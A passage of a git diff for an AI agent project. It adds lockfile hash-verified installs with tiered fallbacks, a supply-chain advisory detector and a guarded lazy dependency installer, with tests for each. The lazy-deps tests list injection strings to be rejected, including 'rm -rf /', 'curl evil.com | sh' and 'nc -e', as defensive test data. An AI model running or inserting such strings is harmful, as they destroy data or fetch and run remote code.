"Check that build tools are installed: sudo apt install build-essential python3-dev" - log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'" - exit 1 + # + # Hash-verified install (Tier 0) — when uv.lock is present, prefer + # `uv sync --locked`. The lockfile records SHA256 hashes for every + # transitive, so a compromised transitive (different hash than what + # we shipped) is REJECTED by the resolver. This is the *only* path + # that protects against the "direct dep is fine, but the dep's dep + # got worm-poisoned overnight" failure mode. All `uv pip install` + # tiers below re-resolve transitives fresh from PyPI without any + # hash verification — they exist to keep installs working when the + # lockfile is stale, missing, or out-of-sync with the current + # extras spec, NOT because they're equivalent in posture. + if [ -f "uv.lock" ]; then + log_info "Trying tier: hash-verified (uv.lock) ..." + if UV_PROJECT_ENVIRONMENT="$INSTALL_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$(mktemp)"; then + log_success "Main package installed (hash-verified via uv.lock)" + log_success "All dependencies installed" + return 0 fi + log_warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..." else - rm -f "$ALL_INSTALL_LOG" + log_info "uv.lock not found — falling back to PyPI resolve (no hash verification)" + fi + + # Multi-tier fallback. The point of the tiers is that ONE compromised + # PyPI package (a worm-poisoned release that gets quarantined, like + # mistralai 2.4.6 in May 2026) shouldn't be able to silently demote a + # fresh install all the way down to "core only" — the user should keep + # everything else they signed up for. + # + # Tier 1: [all] — everything, including RL git+https deps (best case). + # Tier 2: [all] minus the currently-broken extras list. Edit + # _BROKEN_EXTRAS below when something on PyPI breaks; this lets + # users keep voice/honcho/google/slack/matrix/etc. even when + # one transitive is unavailable. List the extras here as bare + # names from pyproject.toml [project.optional-dependencies] — + # the script translates them to `[a,b,c]` form below. + # Tier 3: PyPI-only extras (no git deps) — drops [rl] / [yc-bench] + # which are git+https and may fail in restricted networks. + # Tier 4: dashboard + core platforms — minimum viable interactive set. + # Tier 5: bare `.` — last-resort so at least the core CLI launches. + # + # Each tier's stderr is captured to a tempfile so we can show the user + # WHY the higher tier failed instead of silently dropping support. + local _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable + local _ALL_EXTRAS=( + modal daytona vercel messaging matrix cron cli dev tts-premium slack + pty honcho mcp homeassistant sms acp voice dingtalk feishu google + bedrock web youtube + ) + # Tier 2: all extras minus _BROKEN_EXTRAS + local _SAFE_EXTRAS=() + local _e _b _skip + for _e in "${_ALL_EXTRAS[@]}"; do + _skip=false + for _b in "${_BROKEN_EXTRAS[@]}"; do + if [ "$_e" = "$_b" ]; then _skip=true; break; fi + done + if [ "$_skip" = false ]; then _SAFE_EXTRAS+=("$_e"); fi + done + local _SAFE_SPEC + _SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]" + # Tier 3: PyPI-only extras (no git deps), still skipping broken ones. + # Mirrors the install.ps1 list but excludes [rl] / [yc-bench] / [matrix] + # (matrix needs python-olm which fails to build on some hosts). + local _PYPI_EXTRAS=( + web mcp cron cli voice messaging slack dev acp pty homeassistant sms + tts-premium honcho google bedrock dingtalk feishu modal daytona vercel + youtube + ) + local _PYPI_SAFE=() + for _e in "${_PYPI_EXTRAS[@]}"; do + _skip=false + for _b in "${_BROKEN_EXTRAS[@]}"; do + if [ "$_e" = "$_b" ]; then _skip=true; break; fi + done + if [ "$_skip" = false ]; then _PYPI_SAFE+=("$_e"); fi + done + local _PYPI_SPEC + _PYPI_SPEC=".[$(IFS=,; echo "${_PYPI_SAFE[*]}")]" + local _TIER4_SPEC=".[web,mcp,cron,cli,messaging,dev]" + + ALL_INSTALL_LOG=$(mktemp) + local _installed=false + local _tier_name="" + + install_tier() { + local name="$1"; local spec="$2" + log_info "Trying tier: $name ..." + if $UV_CMD pip install -e "$spec" 2>"$ALL_INSTALL_LOG"; then + log_success "Main package installed ($name)" + _installed=true + _tier_name="$name" + return 0 + fi + log_warn "Tier '$name' failed. Top of pip output:" + head -5 "$ALL_INSTALL_LOG" | sed 's/^/ /' >&2 + return 1 + } + + install_tier "all (with RL/matrix extras)" ".[all]" \ + || install_tier "all minus known-broken (${_BROKEN_EXTRAS[*]:-none})" "$_SAFE_SPEC" \ + || install_tier "PyPI-only extras (no git deps)" "$_PYPI_SPEC" \ + || install_tier "dashboard + core platforms" "$_TIER4_SPEC" \ + || install_tier "core only (no extras)" "." + + rm -f "$ALL_INSTALL_LOG" + + if [ "$_installed" = false ]; then + log_error "Package installation failed even with no extras." + log_info "Check that build tools are installed: sudo apt install build-essential python3-dev" + log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'" + exit 1 + fi + + if [ "$_tier_name" != "all (with RL/matrix extras)" ]; then + log_warn "Note: installed via fallback tier ($_tier_name)." + log_info "Some optional features may be missing. After resolving any" + log_info "PyPI/network issue, re-run: $UV_CMD pip install -e '.[all]'" fi log_success "Main package installed" diff --git a/setup-hermes.sh b/setup-hermes.sh index 4d83f94ffb8..9690d6a23a6 100755 --- a/setup-hermes.sh +++ b/setup-hermes.sh @@ -183,17 +183,57 @@ if is_termux; then else # Prefer uv sync with lockfile (hash-verified installs) when available, # fall back to pip install for compatibility or when lockfile is stale. + # + # Multi-tier pip fallback. Goal: ONE compromised PyPI package + # (mistralai 2.4.6 in May 2026 → quarantined) shouldn't silently demote + # a fresh setup to "core only". Edit _BROKEN_EXTRAS when a transitive + # breaks; users keep voice / honcho / google / slack / matrix etc. even + # if mistral can't resolve. + _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable + _ALL_EXTRAS=( + modal daytona vercel messaging matrix cron cli dev tts-premium slack + pty honcho mcp homeassistant sms acp voice dingtalk feishu google + bedrock web youtube + ) + _SAFE_EXTRAS=() + for _e in "${_ALL_EXTRAS[@]}"; do + _skip=false + for _b in "${_BROKEN_EXTRAS[@]}"; do + [ "$_e" = "$_b" ] && _skip=true && break + done + [ "$_skip" = false ] && _SAFE_EXTRAS+=("$_e") + done + _SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]" + _try_install() { + $UV_CMD pip install -e ".[all]" \ + || $UV_CMD pip install -e "$_SAFE_SPEC" \ + || $UV_CMD pip install -e "." + } + if [ -f "uv.lock" ]; then + # Hash-verified install (preferred). The lockfile records SHA256 + # hashes for every transitive — a compromised transitive would have + # a different hash and be REJECTED by uv. This is the only path + # that protects against transitive-package supply-chain attacks + # (the direct deps in pyproject.toml are exact-pinned, but + # `uv pip install` re-resolves transitives fresh from PyPI). echo -e "${CYAN}→${NC} Using uv.lock for hash-verified installation..." - UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>/dev/null && \ - echo -e "${GREEN}✓${NC} Dependencies installed (lockfile verified)" || { - echo -e "${YELLOW}⚠${NC} Lockfile install failed (may be outdated), falling back to pip install..." - $UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "." - echo -e "${GREEN}✓${NC} Dependencies installed" - } + _UV_SYNC_LOG=$(mktemp) + if UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$_UV_SYNC_LOG"; then + echo -e "${GREEN}✓${NC} Dependencies installed (hash-verified via uv.lock)" + rm -f "$_UV_SYNC_LOG" + else + echo -e "${YELLOW}⚠${NC} Lockfile sync failed (lockfile may be stale)." + echo -e "${YELLOW}⚠${NC} Falling back to PyPI resolve — transitives will NOT be hash-verified." + head -5 "$_UV_SYNC_LOG" | sed 's/^/ /' + rm -f "$_UV_SYNC_LOG" + _try_install + echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)" + fi else - $UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "." - echo -e "${GREEN}✓${NC} Dependencies installed" + echo -e "${YELLOW}⚠${NC} uv.lock not found — installing without hash verification of transitives." + _try_install + echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)" fi fi diff --git a/tests/hermes_cli/test_security_advisories.py b/tests/hermes_cli/test_security_advisories.py new file mode 100644 index 00000000000..0a745269a5e --- /dev/null +++ b/tests/hermes_cli/test_security_advisories.py @@ -0,0 +1,330 @@ +"""Tests for hermes_cli.security_advisories. + +The advisory module is the user-facing detection / remediation surface +for supply-chain attacks (e.g. the Mini Shai-Hulud worm of May 2026 that +poisoned mistralai 2.4.6 on PyPI). These tests exercise the public API in +isolation — no real package metadata, no real config, no real cache. +""" + +from __future__ import annotations + +import time +from pathlib import Path +from typing import Iterator + +import pytest + +import hermes_cli.security_advisories as adv + + +# --------------------------------------------------------------------------- +# Fixtures +# --------------------------------------------------------------------------- + + +@pytest.fixture +def fake_advisory() -> adv.Advisory: + """A self-contained Advisory used across tests.""" + return adv.Advisory( + id="test-advisory-2026-99", + title="Test advisory", + summary="Pretend this package has been compromised.", + url="https://example.com/advisory", + compromised=( + ("fake-malicious-pkg", frozenset({"6.6.6"})), + ), + remediation=( + "pip uninstall -y fake-malicious-pkg", + "Rotate any credentials that may have been exposed.", + ), + published="2026-01-01", + severity="critical", + ) + + +@pytest.fixture +def isolated_home(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path: + """Redirect HERMES_HOME so banner cache and config writes are sandboxed.""" + home = tmp_path / ".hermes" + home.mkdir() + (home / "cache").mkdir() + monkeypatch.setattr(Path, "home", lambda: tmp_path) + monkeypatch.setenv("HERMES_HOME", str(home)) + return home + + +@pytest.fixture +def patched_version(monkeypatch: pytest.MonkeyPatch) -> Iterator[dict[str, str]]: + """Override _installed_version with a controllable lookup table.""" + table: dict[str, str] = {} + monkeypatch.setattr(adv, "_installed_version", lambda pkg: table.get(pkg)) + yield table + + +# --------------------------------------------------------------------------- +# detect_compromised +# --------------------------------------------------------------------------- + + +class TestDetectCompromised: + def test_no_match_returns_empty_list(self, fake_advisory, patched_version): + # No matching package installed. + hits = adv.detect_compromised(advisories=[fake_advisory]) + assert hits == [] + + def test_exact_version_match(self, fake_advisory, patched_version): + patched_version["fake-malicious-pkg"] = "6.6.6" + hits = adv.detect_compromised(advisories=[fake_advisory]) + assert len(hits) == 1 + assert hits[0].advisory.id == fake_advisory.id + assert hits[0].package == "fake-malicious-pkg" + assert hits[0].installed_version == "6.6.6" + + def test_safe_version_does_not_match(self, fake_advisory, patched_version): + # Package is installed but the version is not in the compromised set. + patched_version["fake-malicious-pkg"] = "6.6.5" + hits = adv.detect_compromised(advisories=[fake_advisory]) + assert hits == [] + + def test_empty_compromised_set_matches_any_version( + self, patched_version + ): + # An advisory with an empty version set is a "any version is suspect" + # wildcard — used when an entire maintainer namespace is owned. + wildcard = adv.Advisory( + id="wildcard", + title="Whole namespace owned", + summary="x", + url="x", + compromised=(("evil-namespace", frozenset()),), + remediation=("uninstall it",), + ) + patched_version["evil-namespace"] = "0.0.1" + hits = adv.detect_compromised(advisories=[wildcard]) + assert len(hits) == 1 + assert hits[0].installed_version == "0.0.1" + + +# --------------------------------------------------------------------------- +# Acknowledgement persistence +# --------------------------------------------------------------------------- + + +class TestAck: + def test_get_acked_ids_empty_when_no_config(self, monkeypatch): + # load_config raises → returns empty set, doesn't crash. + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: (_ for _ in ()).throw(RuntimeError("boom")), + ) + assert adv.get_acked_ids() == set() + + def test_filter_unacked_strips_dismissed(self, fake_advisory, monkeypatch): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id}) + assert adv.filter_unacked([hit]) == [] + + def test_filter_unacked_passes_through_unknown( + self, fake_advisory, monkeypatch + ): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + assert adv.filter_unacked([hit]) == [hit] + + def test_ack_advisory_persists_id(self, isolated_home, monkeypatch): + # Stub the config layer end-to-end with a tiny in-memory store so we + # don't depend on the full hermes_cli.config bootstrap. + store: dict = {"security": {}} + monkeypatch.setattr( + "hermes_cli.config.load_config", lambda: store + ) + monkeypatch.setattr( + "hermes_cli.config.save_config", + lambda cfg: store.update(cfg) or None, + ) + assert adv.ack_advisory("test-advisory-2026-99") is True + assert "test-advisory-2026-99" in store["security"]["acked_advisories"] + # Idempotent. + adv.ack_advisory("test-advisory-2026-99") + assert ( + store["security"]["acked_advisories"].count("test-advisory-2026-99") + == 1 + ) + + def test_ack_advisory_rejects_blank(self, isolated_home): + assert adv.ack_advisory("") is False + assert adv.ack_advisory(" ") is False + + +# --------------------------------------------------------------------------- +# Banner cache rate limiting +# --------------------------------------------------------------------------- + + +class TestBannerCache: + def test_first_call_returns_due_hits( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + due = adv.hits_due_for_banner([hit]) + assert due == [hit] + + def test_second_call_within_window_suppresses( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + adv.hits_due_for_banner([hit]) + # Same banner inside repeat window → suppressed. + again = adv.hits_due_for_banner([hit]) + assert again == [] + + def test_call_after_window_re_banners( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + adv.hits_due_for_banner([hit]) + # Backdate the cache so it looks like the banner was shown more + # than 24h ago — should re-banner. + cache_path = adv._banner_cache_path() + assert cache_path is not None + old_lines = cache_path.read_text(encoding="utf-8").splitlines() + backdated = [] + for line in old_lines: + parts = line.split(None, 1) + if len(parts) == 2: + backdated.append(f"{parts[0]} {time.time() - 48 * 3600}") + cache_path.write_text("\n".join(backdated) + "\n", encoding="utf-8") + again = adv.hits_due_for_banner([hit]) + assert again == [hit] + + def test_acked_hits_never_banner( + self, fake_advisory, isolated_home, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id}) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + assert adv.hits_due_for_banner([hit]) == [] + + +# --------------------------------------------------------------------------- +# Rendering +# --------------------------------------------------------------------------- + + +class TestRendering: + def test_short_banner_lines_includes_id_and_version(self, fake_advisory): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + lines = adv.short_banner_lines([hit]) + joined = "\n".join(lines) + assert fake_advisory.id in joined + assert fake_advisory.title in joined + assert "fake-malicious-pkg==6.6.6" in joined + assert "hermes doctor" in joined + + def test_full_remediation_text_contains_all_steps(self, fake_advisory): + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + body = "\n".join(adv.full_remediation_text(hit)) + # All remediation steps must be present. + for step in fake_advisory.remediation: + assert step in body + assert fake_advisory.url in body + assert fake_advisory.summary in body + + def test_render_doctor_section_clean_state(self): + # No hits → success message, has_problems=False. + has_problems, lines = adv.render_doctor_section([]) + assert has_problems is False + assert any("No active security advisories" in line for line in lines) + + def test_render_doctor_section_with_unacked_hit( + self, fake_advisory, monkeypatch + ): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + has_problems, lines = adv.render_doctor_section([hit]) + assert has_problems is True + body = "\n".join(lines) + assert fake_advisory.title in body + + def test_gateway_log_message_singular(self, fake_advisory, monkeypatch): + monkeypatch.setattr(adv, "get_acked_ids", lambda: set()) + hit = adv.AdvisoryHit( + advisory=fake_advisory, + package="fake-malicious-pkg", + installed_version="6.6.6", + ) + msg = adv.gateway_log_message([hit]) + assert msg is not None + assert fake_advisory.id in msg + assert "fake-malicious-pkg==6.6.6" in msg + + def test_gateway_log_message_returns_none_for_no_hits(self): + assert adv.gateway_log_message([]) is None + + +# --------------------------------------------------------------------------- +# Real catalog smoke test +# --------------------------------------------------------------------------- + + +class TestRealCatalog: + def test_advisories_well_formed(self): + """Every shipped advisory must be self-consistent. + + Catches data-entry mistakes (empty IDs, missing remediation, bad + compromised tuples) before they ship. + """ + seen_ids: set[str] = set() + for advisory in adv.ADVISORIES: + assert advisory.id, "advisory has empty id" + assert advisory.id not in seen_ids, f"duplicate id {advisory.id}" + seen_ids.add(advisory.id) + assert advisory.title, f"{advisory.id}: empty title" + assert advisory.summary, f"{advisory.id}: empty summary" + assert advisory.remediation, f"{advisory.id}: empty remediation" + assert advisory.url.startswith("http"), \ + f"{advisory.id}: bad url {advisory.url!r}" + assert advisory.compromised, \ + f"{advisory.id}: empty compromised tuple" + for pkg, versions in advisory.compromised: + assert pkg, f"{advisory.id}: empty package name" + assert isinstance(versions, frozenset), \ + f"{advisory.id}: versions must be frozenset" diff --git a/tests/tools/test_lazy_deps.py b/tests/tools/test_lazy_deps.py new file mode 100644 index 00000000000..9beecc0d995 --- /dev/null +++ b/tests/tools/test_lazy_deps.py @@ -0,0 +1,228 @@ +"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer. + +The lazy_deps module is the architectural fix for the "one quarantined +package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)`` +which only installs from a strict allowlist, refuses anything that looks +like a URL / file path, runs venv-scoped, and respects the +``security.allow_lazy_installs`` config flag. + +These tests cover the security boundary and the public API. The real pip +call is mocked — we never actually shell out during unit tests. +""" + +from __future__ import annotations + +from typing import Iterator + +import pytest + +import tools.lazy_deps as ld + + +# --------------------------------------------------------------------------- +# Spec safety +# --------------------------------------------------------------------------- + + +class TestSpecSafety: + @pytest.mark.parametrize("spec", [ + "mistralai>=2.3.0,<3", + "elevenlabs>=1.0,<2", + "honcho-ai>=2.0.1,<3", + "boto3>=1.35.0,<2", + "mautrix[encryption]>=0.20,<1", + "google-api-python-client>=2.100,<3", + "youtube-transcript-api>=1.2.0", + "qrcode>=7.0,<8", + "package", # bare name, no version + "package==1.0.0", + "package~=1.0", + ]) + def test_safe_specs_pass(self, spec): + assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe" + + @pytest.mark.parametrize("spec", [ + # URL-shaped → rejected (no remote origin override allowed) + "git+https://github.com/foo/bar.git", + "https://example.com/foo.tar.gz", + # File path → rejected + "/etc/passwd", + "./local-malware", + "../escape", + # Shell metacharacters → rejected + "package; rm -rf /", + "package && curl evil.com | sh", + "package`whoami`", + "package$(whoami)", + "package|nc -e", + # Pip flag injection → rejected + "--index-url=http://evil/", + "-r requirements.txt", + # Whitespace control chars → rejected + "package\nshell-injection", + "package\rmore", + # Empty / overly long → rejected + "", + "x" * 500, + ]) + def test_unsafe_specs_rejected(self, spec): + assert not ld._spec_is_safe(spec), \ + f"expected {spec!r} to be rejected" + + +# --------------------------------------------------------------------------- +# Allowlist enforcement +# --------------------------------------------------------------------------- + + +class TestAllowlist: + def test_unknown_feature_raises(self, monkeypatch): + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"): + ld.ensure("not.a.real.feature") + + def test_lazy_deps_keys_use_namespace_dot_name(self): + # Sanity check on the data shape — every key should be at least + # one dot-separated namespace. + for key in ld.LAZY_DEPS: + assert "." in key, f"feature {key!r} should be namespace.name" + + def test_every_lazy_dep_spec_passes_safety(self): + # Defence in depth — even though specs are author-controlled, + # the safety regex must accept everything we ship. + for feature, specs in ld.LAZY_DEPS.items(): + for spec in specs: + assert ld._spec_is_safe(spec), \ + f"{feature}: spec {spec!r} fails safety check" + + def test_feature_install_command_returns_pip_invocation(self): + cmd = ld.feature_install_command("memory.honcho") + assert cmd is not None + assert cmd.startswith("uv pip install") + assert "honcho-ai" in cmd + + def test_feature_install_command_unknown(self): + assert ld.feature_install_command("not.real") is None + + +# --------------------------------------------------------------------------- +# allow_lazy_installs gating +# --------------------------------------------------------------------------- + + +class TestSecurityGating: + def test_disabled_via_config_raises(self, monkeypatch): + # Pretend honcho is missing AND lazy installs are disabled. + monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False) + with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"): + ld.ensure("test.feat", prompt=False) + + def test_disabled_via_env_var(self, monkeypatch): + monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1") + # Bypass config layer; the env var alone must disable. + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: {"security": {"allow_lazy_installs": True}}, + ) + assert ld._allow_lazy_installs() is False + + def test_default_allows(self, monkeypatch): + monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: {"security": {}}, + ) + assert ld._allow_lazy_installs() is True + + def test_config_failure_fails_open(self, monkeypatch): + # If config can't be read at all, we ALLOW installs rather than + # blocking the user out of their own backends. + monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) + monkeypatch.setattr( + "hermes_cli.config.load_config", + lambda: (_ for _ in ()).throw(RuntimeError("config broken")), + ) + assert ld._allow_lazy_installs() is True + + +# --------------------------------------------------------------------------- +# ensure() happy/sad paths +# --------------------------------------------------------------------------- + + +class TestEnsure: + def test_already_satisfied_is_noop(self, monkeypatch): + # If the package is importable, ensure() returns without calling pip. + monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True) + # If pip were called, this would fail loudly. + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda *a, **kw: pytest.fail("pip should not be called"), + ) + ld.ensure("test.satisfied", prompt=False) # no exception + + def test_install_success_path(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.install", ("zzzfake>=1",)) + # First check sees missing, post-install check sees installed. + call_count = {"n": 0} + + def fake_satisfied(spec): + call_count["n"] += 1 + return call_count["n"] > 1 # missing first, installed after + + monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda specs, **kw: ld._InstallResult(True, "ok", ""), + ) + ld.ensure("test.install", prompt=False) + + def test_install_failure_surfaces_pip_stderr(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.fail", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda specs, **kw: ld._InstallResult( + False, "", "ERROR: package not found on PyPI" + ), + ) + with pytest.raises(ld.FeatureUnavailable, match="pip install failed"): + ld.ensure("test.fail", prompt=False) + + def test_install_succeeds_but_still_missing_raises(self, monkeypatch): + # Pip says success but the package still isn't importable + # (e.g. site-packages caching, wrong python). Surface this. + monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True) + monkeypatch.setattr( + ld, "_venv_pip_install", + lambda specs, **kw: ld._InstallResult(True, "ok", ""), + ) + with pytest.raises(ld.FeatureUnavailable, match="still not importable"): + ld.ensure("test.cache", prompt=False) + + +# --------------------------------------------------------------------------- +# is_available +# --------------------------------------------------------------------------- + + +class TestIsAvailable: + def test_unknown_feature_returns_false(self): + assert ld.is_available("not.a.thing") is False + + def test_satisfied_returns_true(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.avail", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True) + assert ld.is_available("test.avail") is True + + def test_missing_returns_false(self, monkeypatch): + monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",)) + monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False) + assert ld.is_available("test.miss") is False diff --git a/tests/tools/test_windows_native_support.py b/tests/tools/test_windows_native_support.py index 4d4091e5fcb..550249b5ce3 100644 --- a/tests/tools/test_windows_native_support.py +++ b/tests/tools/test_windows_native_support.py @@ -420,12 +420,21 @@ class TestTzdataDependencyDeclared: root = Path(__file__).resolve().parents[2] source = (root / "pyproject.toml").read_text(encoding="utf-8") # The dependency line should be conditional on sys_platform == 'win32' - # and should NOT be in the core dependencies for Linux/macOS. - assert ( - 'tzdata>=2023.3; sys_platform == \'win32\'' in source - or "tzdata>=2023.3; sys_platform == 'win32'" in source - or 'tzdata>=2023.3; sys_platform == "win32"' in source - ), "tzdata must be a Windows-only dep in pyproject.toml dependencies" + # and should NOT be in the core dependencies for Linux/macOS. We do + # not care about the exact pinned version (which is bumped over time) + # — only that tzdata is declared with a win32 marker. This is an + # invariant check, not a snapshot test. + import re + # Match `"tzdata` … `; sys_platform == 'win32'"` allowing any version + # specifier in between (==X.Y.Z, >=X.Y.Z, Non _save_snapshots(snapshots) +def _ensure_modal_sdk() -> None: + """Lazy-install modal on demand. Idempotent — fast no-op once installed.""" + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("terminal.modal", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) + + def _resolve_modal_image(image_spec: Any) -> Any: """Convert registry references or snapshot ids into Modal image objects. Includes add_python support for ubuntu/debian images (absorbed from PR 4511). """ + _ensure_modal_sdk() import modal as _modal if not isinstance(image_spec, str): @@ -183,6 +195,7 @@ class ModalEnvironment(BaseEnvironment): if restored_snapshot_id: logger.info("Modal: restoring from snapshot %s", restored_snapshot_id[:20]) + _ensure_modal_sdk() import modal as _modal cred_mounts = [] diff --git a/tools/environments/vercel_sandbox.py b/tools/environments/vercel_sandbox.py index b381eb77cd2..70edd54ad4a 100644 --- a/tools/environments/vercel_sandbox.py +++ b/tools/environments/vercel_sandbox.py @@ -42,6 +42,19 @@ if TYPE_CHECKING: DEFAULT_VERCEL_CWD = "/vercel/sandbox" _DEFAULT_CONTAINER_DISK_MB = 51200 + + +def _ensure_vercel_sdk() -> None: + """Lazy-install vercel SDK on demand. Idempotent.""" + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("terminal.vercel", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) + + _CREATE_RETRY_ATTEMPTS = 3 _WRITE_RETRY_ATTEMPTS = 3 _TRANSIENT_STATUS_CODES = frozenset({408, 425, 429, 500, 502, 503, 504}) @@ -194,6 +207,7 @@ def _extract_snapshot_id(snapshot: Any) -> str | None: @cache def _sandbox_status_type() -> type[SandboxStatus]: + _ensure_vercel_sdk() from vercel.sandbox import SandboxStatus return SandboxStatus @@ -260,6 +274,7 @@ class VercelSandboxEnvironment(BaseEnvironment): "Use the default shared setting." ) + _ensure_vercel_sdk() from vercel.sandbox import Resources sandbox_timeout = max( @@ -281,6 +296,7 @@ class VercelSandboxEnvironment(BaseEnvironment): ) def _create_sandbox(self) -> Sandbox: + _ensure_vercel_sdk() from vercel.sandbox import Sandbox snapshot_id = _get_snapshot_id(self._task_id) if self._persistent else None diff --git a/tools/image_generation_tool.py b/tools/image_generation_tool.py index a545a85d9fc..c496166ec98 100644 --- a/tools/image_generation_tool.py +++ b/tools/image_generation_tool.py @@ -52,6 +52,13 @@ def _load_fal_client() -> Any: global fal_client if fal_client is not None: return fal_client + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("image.fal", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) import fal_client as _fal_client # noqa: F811 — module-global rebind fal_client = _fal_client return fal_client diff --git a/tools/lazy_deps.py b/tools/lazy_deps.py new file mode 100644 index 00000000000..d086d117307 --- /dev/null +++ b/tools/lazy_deps.py @@ -0,0 +1,441 @@ +""" +Lazy dependency installer for opt-in Hermes Agent backends. + +Many Hermes features (Mistral TTS, ElevenLabs TTS, Honcho memory, Bedrock, +Slack, Matrix, etc.) require Python packages that not every user needs. The +historical approach was to bundle them all under ``pyproject.toml`` extras +(``hermes-agent[all]``) and install them eagerly at setup time. That has +two problems: + +1. **Fragility.** When one extra's transitive dependency becomes + unavailable on PyPI (quarantined for malware, yanked, broken upload), + the *entire* ``[all]`` resolve fails and fresh installs silently fall + back to a stripped tier — losing 10+ unrelated extras at once. + +2. **Bloat.** A user who only ever talks to one provider pulls hundreds + of packages they will never import. + +The lazy-install pattern fixes both. Backends call :func:`ensure` at the +top of their first-import path. If the deps are missing, ``ensure`` checks +the ``security.allow_lazy_installs`` config flag (default true) and runs +a venv-scoped pip install. If the user has explicitly disabled lazy +installs, ``ensure`` raises :class:`FeatureUnavailable` with a clear +remediation hint pointing at ``hermes tools`` or the manual pip command. + +Security model: + +* **Venv-scoped only.** Installs target ``sys.executable`` in the active + venv. We never touch the system Python. +* **PyPI by package name only.** Specs may be ``"package>=1.0,<2"`` etc. + We do NOT support ``--index-url`` overrides, ``git+https://``, file: + paths, or any other input that could be hijacked by a malicious config. +* **Allowlist.** Only specs that appear in :data:`LAZY_DEPS` can be + installed via this path. A typo in feature name doesn't get the user + install-anything semantics. +* **Opt-out.** Setting ``security.allow_lazy_installs: false`` in + ``config.yaml`` disables runtime installs. Users in restricted networks + or strict security postures can pin themselves to whatever was installed + at setup time. +* **Offline detection.** If the install fails (offline, mirror down, + 